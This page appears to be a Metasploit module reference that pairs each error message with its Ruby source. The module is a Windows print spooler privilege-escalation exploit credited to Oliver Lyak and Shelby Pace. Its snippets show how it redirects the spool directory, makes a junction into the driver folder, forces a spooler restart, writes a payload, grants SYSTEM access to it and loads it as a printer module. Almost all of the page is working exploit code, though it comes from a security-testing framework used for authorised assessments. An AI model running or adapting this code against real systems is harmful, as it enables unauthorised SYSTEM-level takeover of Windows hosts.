227:	    unless ret['GetLastError'] == 0
228:	      fail_with(Failure::UnexpectedReply, 'Failed to set spool directory.')
229:	    end
230:	  end
231:	
232:	  def restart_spooler(handle)

Failed to set spool directory.


Here is a relevant code snippet related to the "Failed to set spool directory." error message:

223:	  def set_spool_directory(handle, spool_dir)
224:	    print_status("Setting spool directory: #{spool_dir}")
225:	    ret = set_printer_data(handle, '\\', 'SpoolDirectory', spool_dir)
226:	
227:	    unless ret['GetLastError'] == 0
228:	      fail_with(Failure::UnexpectedReply, 'Failed to set spool directory.')
229:	    end
230:	  end
231:	
232:	  def restart_spooler(handle)
233:	    print_status('Attempting to restart print spooler.')

GetLastError


Here is a relevant code snippet related to the "GetLastError" error message:

231:	
232:	  def restart_spooler(handle)
233:	    print_status('Attempting to restart print spooler.')
234:	    term_path = 'C:\\Windows\\System32\\AppVTerminator.dll'
235:	    ret = set_printer_data(handle, 'CopyFiles\\', 'Module', term_path)
236:	    unless ret['GetLastError'] == 0
237:	      fail_with(Failure::UnexpectedReply, 'Failed to terminate print spooler service.')
238:	    end
239:	  end
240:	
241:	  def set_printer_data(handle, key_name, value_name, config_data)

Failed to terminate print spooler service.


Here is a relevant code snippet related to the "Failed to terminate print spooler service." error message:

232:	  def restart_spooler(handle)
233:	    print_status('Attempting to restart print spooler.')
234:	    term_path = 'C:\\Windows\\System32\\AppVTerminator.dll'
235:	    ret = set_printer_data(handle, 'CopyFiles\\', 'Module', term_path)
236:	    unless ret['GetLastError'] == 0
237:	      fail_with(Failure::UnexpectedReply, 'Failed to terminate print spooler service.')
238:	    end
239:	  end
240:	
241:	  def set_printer_data(handle, key_name, value_name, config_data)
242:	    winspool.SetPrinterDataExA(handle,

Failed to get payload security info.


Here is a relevant code snippet related to the "Failed to get payload security info." error message:

263:	      nil,
264:	      8
265:	    )
266:	
267:	    unless ret['return'] == 0
268:	      fail_with(Failure::UnexpectedReply, 'Failed to get payload security info.')
269:	    end
270:	
271:	    ret = advapi32.BuildExplicitAccessWithNameA(
272:	      '\x00' * 48,
273:	      'SYSTEM',

Failed to retrieve EXPLICIT_ACCESS structure.


Here is a relevant code snippet related to the "Failed to retrieve EXPLICIT_ACCESS structure." error message:

276:	      session.railgun.const('NO_INHERITANCE')
277:	    )
278:	
279:	    ea_struct = ret['pExplicitAccess']
280:	    if ea_struct.empty?
281:	      fail_with(Failure::UnexpectedReply, 'Failed to retrieve EXPLICIT_ACCESS structure.')
282:	    end
283:	
284:	    ret = advapi32.SetEntriesInAclA(1, ea_struct, nil, 8)
285:	    fail_with(Failure::UnexpectedReply, "Failed to create new ACL: #{ret['GetLastError']}") if ret['return'] != 0
286:	

Failed to create new ACL: <GETLASTERROR>


Here is a relevant code snippet related to the "Failed to create new ACL: <GETLASTERROR>" error message:

280:	    if ea_struct.empty?
281:	      fail_with(Failure::UnexpectedReply, 'Failed to retrieve EXPLICIT_ACCESS structure.')
282:	    end
283:	
284:	    ret = advapi32.SetEntriesInAclA(1, ea_struct, nil, 8)
285:	    fail_with(Failure::UnexpectedReply, "Failed to create new ACL: #{ret['GetLastError']}") if ret['return'] != 0
286:	
287:	    # need to first access pointer to the new acl
288:	    # in order to read the acl's header (8 bytes) to determine
289:	    # size of entire acl structure
290:	    new_acl_ptr = ret['NewAcl'].unpack('Q').first

Failed to retrieve size of ACL structure.


Here is a relevant code snippet related to the "Failed to retrieve size of ACL structure." error message:

293:	    # https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-acl
294:	    acl_mems = acl_header.unpack('CCSSS')
295:	    struct_size = acl_mems&.at(2)
296:	
297:	    unless struct_size
298:	      fail_with(Failure::UnexpectedReply, 'Failed to retrieve size of ACL structure.')
299:	    end
300:	
301:	    acl_struct = session.railgun.util.memread(new_acl_ptr, struct_size)
302:	    ret = advapi32.SetNamedSecurityInfoA(
303:	      @payload_path,

Failed to set permissions on payload.


Here is a relevant code snippet related to the "Failed to set permissions on payload." error message:

307:	      nil,
308:	      acl_struct,
309:	      nil
310:	    )
311:	
312:	    fail_with(Failure::UnexpectedReply, 'Failed to set permissions on payload.') if ret['return'] != 0
313:	    print_status('Payload should have read / execute permissions now.')
314:	  end
315:	
316:	  def open_printer
317:	    print_ptr = session.railgun.util.alloc_and_write_string('RAW')

Failed to write payload.


Here is a relevant code snippet related to the "Failed to write payload." error message:

340:	    register_file_for_cleanup(@payload_path)
341:	    register_dir_for_cleanup(@v4_dir)
342:	
343:	    print_status("Writing payload to #{@payload_path}.")
344:	    unless write_file(@payload_path, payload_data)
345:	      fail_with(Failure::UnexpectedReply, 'Failed to write payload.')
346:	    end
347:	
348:	    print_status('Attempting to set permissions for payload.')
349:	    set_perms_on_payload
350:	    set_printer_data(handle, 'CopyFiles\\', 'Module', @payload_path)

Already running as SYSTEM


Here is a relevant code snippet related to the "Already running as SYSTEM" error message:

349:	    set_perms_on_payload
350:	    set_printer_data(handle, 'CopyFiles\\', 'Module', @payload_path)
351:	  end
352:	
353:	  def exploit
354:	    fail_with(Failure::None, 'Already running as SYSTEM') if is_system?
355:	
356:	    unless session.arch == ARCH_X64
357:	      fail_with(Failure::BadConfig, 'This exploit only supports x64 sessions')
358:	    end
359:	

This exploit only supports x64 sessions


Here is a relevant code snippet related to the "This exploit only supports x64 sessions" error message:

352:	
353:	  def exploit
354:	    fail_with(Failure::None, 'Already running as SYSTEM') if is_system?
355:	
356:	    unless session.arch == ARCH_X64
357:	      fail_with(Failure::BadConfig, 'This exploit only supports x64 sessions')
358:	    end
359:	
360:	    @printer_name = get_printer_name
361:	    tmp_dir = Rex::Text.rand_text_alpha(5..12)
362:	    tmp_path = expand_path("#{dir_path}\\#{tmp_dir}")

Failed to open default printer.


Here is a relevant code snippet related to the "Failed to open default printer." error message:

378:	    end
379:	
380:	    handle = nil
381:	    if target_is_server?
382:	      ret = open_printer
383:	      fail_with(Failure::UnexpectedReply, 'Failed to open default printer.') unless ret['return']
384:	      handle = ret['phPrinter']
385:	    else
386:	      handle = add_printer
387:	    end
388:	

Driver directory not found.


Here is a relevant code snippet related to the "Driver directory not found." error message:

386:	      handle = add_printer
387:	    end
388:	
389:	    driver_dir = 'C:\\Windows\\System32\\spool\\drivers\\x64'
390:	    @v4_dir = "#{driver_dir}\\4"
391:	    fail_with(Failure::NotFound, 'Driver directory not found.') unless directory?(driver_dir)
392:	
393:	    # if directory already exists, attempt the exploit
394:	    if directory?(@v4_dir)
395:	      print_status('v4 directory already exists.')
396:	    else

Failed to create junction point.


Here is a relevant code snippet related to the "Failed to create junction point." error message:

395:	      print_status('v4 directory already exists.')
396:	    else
397:	      set_spool_directory(handle, to_unc("#{tmp_path}\\4"))
398:	      print_status("Creating junction point: #{tmp_path} -> #{driver_dir}")
399:	      junction = create_junction(tmp_path, driver_dir)
400:	      fail_with(Failure::UnexpectedReply, 'Failed to create junction point.') unless junction
401:	
402:	      # now restart spooler to create spool directory
403:	      print_status('Creating the spool directory by restarting spooler...')
404:	      restart_spooler(handle)
405:	      print_status("Sleeping for #{count} seconds.")

The print spooler service failed to start.


Here is a relevant code snippet related to the "The print spooler service failed to start." error message:

405:	      print_status("Sleeping for #{count} seconds.")
406:	      Rex.sleep(count)
407:	
408:	      ret = open_printer
409:	      unless ret['return']
410:	        fail_with(Failure::Unreachable, 'The print spooler service failed to start.')
411:	      end
412:	
413:	      handle = ret['phPrinter']
414:	      unless directory?(@v4_dir)
415:	        fail_with(Failure::UnexpectedReply, 'Directory was not created.')

Directory was not created.


Here is a relevant code snippet related to the "Directory was not created." error message:

410:	        fail_with(Failure::Unreachable, 'The print spooler service failed to start.')
411:	      end
412:	
413:	      handle = ret['phPrinter']
414:	      unless directory?(@v4_dir)
415:	        fail_with(Failure::UnexpectedReply, 'Directory was not created.')
416:	      end
417:	
418:	      print_good('Directory was successfully created.')
419:	    end
420:	

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • Oliver Lyak
  • Shelby Pace

Version


This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.